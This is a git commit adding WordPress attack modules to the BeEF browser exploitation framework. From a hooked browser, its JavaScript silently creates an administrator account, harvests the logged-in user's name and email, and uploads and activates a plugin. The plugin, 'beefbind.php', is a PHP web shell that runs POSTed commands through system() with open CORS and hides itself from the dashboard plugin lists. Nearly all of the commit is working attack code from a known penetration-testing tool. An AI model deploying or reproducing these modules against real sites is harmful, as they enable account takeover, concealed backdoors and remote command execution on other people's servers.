Fixes & Improves & Adds WordPress stuff

This commit is contained in:
erwanlr
2019-10-26 14:19:18 +02:00
parent d6972adfcb
commit 2f71b35f7b
12 changed files with 542 additions and 0 deletions

View File

@@ -0,0 +1,84 @@
/*
Copyright (c) Browser Exploitation Framework (BeEF) - http://beefproject.com
See the file 'doc/COPYING' for copying permission
This is a complete rewrite of the original module exploits/wordpress_add_admin which was not working anymore
Original Author: Daniel Reece (@HBRN8).
Rewritten by Erwan LR (@erwan_lr | WPScanTeam) - https://wpscan.org/
*/
beef.execute(function() {
beef_command_url = '<%= @command_url %>';
beef_command_id = <%= @command_id %>;
// Adds wp.js to the DOM so we can use some functions here
if (typeof get_nonce !== 'function') {
var wp_script = document.createElement('script');
wp_script.setAttribute('type', 'text/javascript');
wp_script.setAttribute('src', beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/wp.js');
var theparent = document.getElementsByTagName('head')[0];
theparent.insertBefore(wp_script, theparent.firstChild);
}
var create_user_path = '<%= @wp_path %>wp-admin/user-new.php';
/*
When there is an error (such as incorrect email, username already existing etc),
the response will be a 200 with an ERROR in the body
When successfully created, it's a 302, however the redirection is followed by the web browser
and the 200 is served directly to the AJAX response here and we don't get the 302,
so we check for the 'New user created.' pattern in the page
*/
function check_response_for_error(xhr) {
if (xhr.status == 200) {
responseText = xhr.responseText;
if ((matches = /<strong>ERROR<\/strong>: (.*?)<\/p>/.exec(responseText))) {
log('User Creation failed: ' + matches[1], 'error');
}
else if (/New user created/.test(responseText)) {
log('User successfully created!', 'success');
}
}
}
function create_user(nonce) {
post(
create_user_path,
{
action: 'createuser',
'_wpnonce_create-user': nonce,
'_wp_http_referer': create_user_path,
user_login: '<%= @username %>',
email: '<%= @email %>',
first_name: '',
last_name: '',
url: '',
pass1: '<%= @password %>',
pass2: '<%= @password %>',
pw_weak: 'on', // Just in case
role: '<%= @role %>',
createuser: 'Add+New+User'
},
function(xhr) { check_response_for_error(xhr) }
);
}
// Timeout needed for the wp.js to be loaded first
setTimeout(
function() {
get_nonce(
create_user_path,
'_wpnonce_create-user',
function(nonce) { create_user(nonce) }
)
},
300
);
});

View File

@@ -0,0 +1,19 @@
#
# Copyright (c) Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# This is a complete rewrite of the original module exploits/wordpress_add_admin which was not working anymore
#
# Original Author: Daniel Reece (@HBRN8).
# Rewritten by Erwan LR (@erwan_lr | WPScanTeam) - https://wpscan.org/
#
beef:
module:
wordpress_add_user:
enable: true
category: Misc
name: WordPress Add User
description: Adds a WordPress User. No email will be sent to the email address entered, and weak password are allowed.
authors: ['Erwan LR']
target:
working: ['ALL']

View File

@@ -0,0 +1,36 @@
#
# Copyright (c) Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# This is a complete rewrite of the original module exploits/wordpress_add_admin which was not working anymore
#
# Original Author: Daniel Reece (@HBRN8).
# Rewritten by Erwan LR (@erwan_lr | WPScanTeam) - https://wpscan.org/
#
require_relative '../wordpress_command'
class Wordpress_add_user < WordPressCommand
def self.options
super() + [
{ 'name' => 'username', 'ui_label' => 'Username', 'value' => 'beef' },
{ 'name' => 'password', 'ui_label' => 'Pwd', 'value' => [*('a'..'z'), *('0'..'9')].shuffle[0, 8].join },
{ 'name' => 'email', 'ui_label' => 'Email', 'value' => '' },
{ 'name' => 'role',
'type' => 'combobox',
'ui_label' => 'Role',
'store_type' => 'arraystore',
'store_fields' => ['role'],
'store_data' => [['administrator'], ['editor'], ['author'], ['contributor'], ['subscriber']],
'value' => 'administrator',
'valueField' => 'role',
'displayField' => 'role',
'mode' => 'local',
}
#{ 'name' => 'domail', 'type' => 'checkbox', 'ui_label' => 'Success mail?:', 'checked' => 'true' },
# If one day optional options are supported:
#{ 'name' => 'url', 'ui_label' => 'Website:', 'value' => '' },
#{ 'name' => 'fname', 'ui_label' => 'FirstName:', 'value' => '' },
#{ 'name' => 'lname', 'ui_label' => 'LastName:', 'value' => '' }
]
end
end

View File

@@ -0,0 +1,43 @@
/*
Copyright (c) Browser Exploitation Framework (BeEF) - http://beefproject.com
See the file 'doc/COPYING' for copying permission
Author @erwan_lr (WPScanTeam) - https://wpscan.org/
*/
beef.execute(function() {
beef_command_url = '<%= @command_url %>';
beef_command_id = <%= @command_id %>;
// Adds wp.js to the DOM so we can use some functions here
if (typeof get_nonce !== 'function') {
var wp_script = document.createElement('script');
wp_script.setAttribute('type', 'text/javascript');
wp_script.setAttribute('src', beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/wp.js');
var theparent = document.getElementsByTagName('head')[0];
theparent.insertBefore(wp_script, theparent.firstChild);
}
var user_profile_path = '<%= @wp_path %>wp-admin/profile.php'
function process_profile_page(xhr) {
if (xhr.status == 200) {
username = xhr.responseXML.getElementById('user_login').getAttribute('value');
email = xhr.responseXML.getElementById('email').getAttribute('value');
log('Username: ' + username + ', Email: ' + email, 'success');
} else {
log('GET ' + user_profile_path + ' - Status ' + xhr.status, 'error');
}
}
// Timeout needed for the wp.js to be loaded first
setTimeout(
function() { get(user_profile_path, function(response) { process_profile_page(response) }) },
300
);
});

View File

@@ -0,0 +1,16 @@
#
# Copyright (c) Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# Author @erwan_lr (WPscanTeam) - https://wpscan.org/
#
beef:
module:
wordpress_current_user_info:
enable: true
category: Misc
name: WordPress Current User Info
description: Get the current logged in user information (such as username, email etc)
authors: ['Erwan LR']
target:
working: ['ALL']

View File

@@ -0,0 +1,10 @@
#
# Copyright (c) Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# Author @erwan_lr (WPscanTeam) - https://wpscan.org/
#
require_relative '../wordpress_command'
class Wordpress_current_user_info < WordPressCommand
end

View File

@@ -0,0 +1,35 @@
<?php
/**
* Plugin Name: beefbind
* Plugin URI: http://beefproject.com
* Description: BeEF bind shell with CORS.
* Version: 1.1
* Authors: Bart Leppens, Erwan LR (@erwan_lr | WPScanTeam)
* Author URI: https://twitter.com/bmantra
* License: Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net - Browser Exploitation Framework (BeEF) - http://beefproject.com - See the file 'doc/COPYING' for copying permission
**/
header("Access-Control-Allow-Origin: *");
if (isset($_POST['cmd'])) { echo @system($_POST['cmd']); }
define('BEEF_PLUGIN', 'beefbind/beefbind.php');
function hide_plugin() {
global $wp_list_table;
foreach ($wp_list_table->items as $key => $val) {
if ($key == BEEF_PLUGIN) { unset($wp_list_table->items[$key]); }
}
}
add_action('pre_current_active_plugins', 'hide_plugin');
// For Multisites
function hide_plugin_from_network($plugins) {
if (in_array(BEEF_PLUGIN, array_keys($plugins))) { unset($plugins[BEEF_PLUGIN]); }
return $plugins;
}
add_filter('all_plugins', 'hide_plugin_from_network');
?>

View File

@@ -0,0 +1,107 @@
/*
Copyright (c) Browser Exploitation Framework (BeEF) - http://beefproject.com
See the file 'doc/COPYING' for copying permission
This is a rewrite of the original module misc/wordpress_post_auth_rce.
Original Author: Bart Leppens
Rewritten by Erwan LR (@erwan_lr | WPScanTeam)
*/
beef.execute(function() {
beef_command_url = '<%= @command_url %>';
beef_command_id = <%= @command_id %>;
// Adds wp.js to the DOM so we can use some functions here
if (typeof get_nonce !== 'function') {
var wp_script = document.createElement('script');
wp_script.setAttribute('type', 'text/javascript');
wp_script.setAttribute('src', beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/wp.js');
var theparent = document.getElementsByTagName('head')[0];
theparent.insertBefore(wp_script, theparent.firstChild);
}
var wp_path = '<%= @wp_path %>';
var upload_nonce_path = '<%= @wp_path %>wp-admin/plugin-install.php?tab=upload';
var upload_plugin_path = '<%= @wp_path %>wp-admin/update.php?action=upload-plugin';
function upload_and_active_plugin(nonce) {
var boundary = "BEEFBEEF";
var post_data = "--" + boundary + "\r\n";
post_data += "Content-Disposition: form-data; name=\"_wpnonce\"\r\n";
post_data += "\r\n";
post_data += nonce + "\r\n";
post_data += "--" + boundary + "\r\n";
post_data += "Content-Disposition: form-data; name=\"_wp_http_referer\"\r\n";
post_data += "\r\n" + upload_nonce_path + "\r\n";
post_data += "--" + boundary + "\r\n";
post_data += "Content-Disposition: form-data; name=\"pluginzip\";\r\n";
post_data += "filename=\"beefbind.zip\"\r\n";
post_data += "Content-Type: application/octet-stream\r\n";
post_data += "\r\n";
post_data += "<%= Wordpress_upload_rce_plugin.generate_zip_payload %>";
post_data += "\r\n";
post_data += "--" + boundary + "--\r\n"
post_as_binary(
upload_plugin_path,
boundary,
post_data,
function(xhr) {
result = xhr.responseXML.getElementsByClassName('wrap')[0];
if (result == null) {
log('Could not find result of plugin upload in response', 'error');
}
else {
result_text = result.innerText;
if (/Plugin installed successfully/i.test(result_text)) {
//log('Plugin installed successfully, activating it');
// Get URL to active the plugin from response, and call it
// <div class="wrap">...<a class="button button-primary" href="plugins.php?action=activate&amp;plugin=beefbind%2Fbeefbind.php&amp;_wpnonce=d13218642e" target="_parent">Activate Plugin</a>
activation_tag = result.getElementsByClassName('button-primary')[0];
if (activation_tag == null) {
log('Plugin installed but unable to get activation URL from output', 'error');
}
else {
activation_path = '<%= @wp_path %>wp-admin/' + activation_tag.getAttribute('href');
get(activation_path, function(xhr) {
result_text = xhr.responseXML.getElementById('message').innerText;
if (/plugin activated/i.test(result_text)) {
log('Plugin installed and activated!', 'success');
}
else {
log('Error while activating the plugin: ' + result_text, 'error');
}
});
}
}
else {
log('Error while installing the plugin: ' + result_text, 'error');
}
}
}
);
}
// Timeout needed for the wp.js to be loaded first
setTimeout(
function() {
get_nonce(
upload_nonce_path,
'_wpnonce',
function(nonce) { upload_and_active_plugin(nonce) }
)
},
300
);
});

View File

@@ -0,0 +1,20 @@
#
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
wordpress_upload_rce_plugin:
enable: true
category: Misc
name: WordPress Upload RCE Plugin
description: |
This module attempts to upload and activate a malicious wordpress plugin, which will be hidden from the plugins list in the dashboard.
Afterwards, the URI to trigger is: http://vulnerable-wordpress.site/wp-content/plugins/beefbind/beefbind.php,
and the command to execute can be send by a POST-parameter named 'cmd'.
However, there are more stealthy ways to send the POST request to execute the command, depending on the target.
CORS headers have been added to allow bidirectional crossdomain communication.
authors: ['Bart Leppens', 'Erwan LR']
target:
working: ['ALL']

View File

@@ -0,0 +1,35 @@
#
# Copyright (c) Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# This is a rewrite of the original module misc/wordpress_post_auth_rce.
#
# Original Author: Bart Leppens
# Rewritten by Erwan LR (@erwan_lr | WPScanTeam)
#
require_relative '../wordpress_command'
class Wordpress_upload_rce_plugin < WordPressCommand
# Generate the plugin ZIP file as string. The method is called in the command.js.
# This allows easy modification of the beefbind.php to suit the needs, as well as being automatically generated
# even when the module is used with automated rules
def self.generate_zip_payload
stringio = Zip::OutputStream::write_buffer do |zio|
zio.put_next_entry("beefbind.php")
zio.write(File.read(File.join(File.dirname(__FILE__), 'beefbind.php')))
end
stringio.rewind
payload = stringio.sysread
escaped_payload = ''
# Escape payload to be able to put it in the JS
payload.each_byte do |byte|
escaped_payload << "\\" + ("x%02X" % byte)
end
escaped_payload
end
end

View File

@@ -0,0 +1,28 @@
#
# Copyright (c) Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# Author Erwan LR (@erwan_lr | WPScanTeam) - https://wpscan.org/
#
class WordPressCommand < BeEF::Core::Command
def pre_send
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/misc/wordpress/wp.js', '/wp', 'js')
end
# If we could retrive the hooked URL, we could try to determine the wp_path to be set below
def self.options
[
{ 'name' => 'wp_path', 'ui_label' => 'WordPress Path', 'value' => '/' }
]
end
# This one is triggered each time a beef.net.send is called
def post_execute
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('wp.js')
return unless @datastore['result']
save({ 'result' => @datastore['result'] })
end
end

View File

@@ -0,0 +1,109 @@
/*
Copyright (c) Browser Exploitation Framework (BeEF) - http://beefproject.com
See the file 'doc/COPYING' for copying permission
Author @erwan_lr (WPScanTeam) - https://wpscan.org/
*/
// Pretty sure we could use jQuery as it's included by the hook.js
// Also, could have all that in as WP.prototype ?
function log(data, status = null) {
if (status == 'error') { status = beef.are.status_error(); }
if (status == 'success') { status = beef.are.status_success(); }
beef.net.send(beef_command_url, beef_command_id, data, status);
beef.debug(data);
};
function get(absolute_path, success) {
var xhr = new XMLHttpRequest();
xhr.open('GET', absolute_path);
xhr.responseType = 'document';
xhr.onerror = function() { log('GET ' + absolute_path + ' could not be done', 'error'); }
xhr.onload = function() {
//log('GET ' + absolute_path + ' resulted in a code ' + xhr.status);
success(xhr);
}
xhr.send();
}
function post(absolute_path, data, success) {
var params = typeof data == 'string' ? data : Object.keys(data).map(
function(k){ return encodeURIComponent(k) + '=' + encodeURIComponent(data[k]) }
).join('&');
var xhr = new XMLHttpRequest();
xhr.open('POST', absolute_path);
xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xhr.onerror = function() { log('POST ' + absolute_path + ' could not be done', 'error'); }
xhr.onload = function() {
//log('POST ' + absolute_path + ' resulted in a code ' + xhr.status);
success(xhr);
}
xhr.send(params);
}
function post_as_binary(absolute_path, boundary, data, success) {
var xhr = new XMLHttpRequest();
// for WebKit-based browsers
if (!XMLHttpRequest.prototype.sendAsBinary) {
XMLHttpRequest.prototype.sendAsBinary = function (sData) {
var nBytes = sData.length, ui8Data = new Uint8Array(nBytes);
for (var nIdx = 0; nIdx < nBytes; nIdx++) {
ui8Data[nIdx] = sData.charCodeAt(nIdx) & 0xff;
}
/* send as ArrayBufferView...: */
this.send(ui8Data);
};
}
xhr.open('POST', absolute_path);
xhr.setRequestHeader('Content-Type', 'multipart/form-data; boundary=' + boundary );
xhr.responseType = 'document';
xhr.onerror = function() { log('POST (Binary)' + absolute_path + ' could not be done', 'error'); }
xhr.onload = function() {
//log('POST (Binary) ' + absolute_path + ' resulted in a code ' + xhr.status);
success(xhr);
}
xhr.sendAsBinary(data);
}
function get_nonce(absolute_path, nonce_id, success) {
get(absolute_path, function(xhr) {
if (xhr.status == 200) {
var nonce_tag = xhr.responseXML.getElementById(nonce_id);
if (nonce_tag == null) {
log(absolute_path + ' - Unable to find nonce tag with id ' + nonce_id, 'error');
}
else {
nonce = nonce_tag.getAttribute('value');
//log('GET ' + absolute_path + ' - Nonce: ' + nonce);
success(nonce);
}
} else {
log('GET ' + absolute_path + ' - Status: ' + xhr.status, 'error');
}
});
}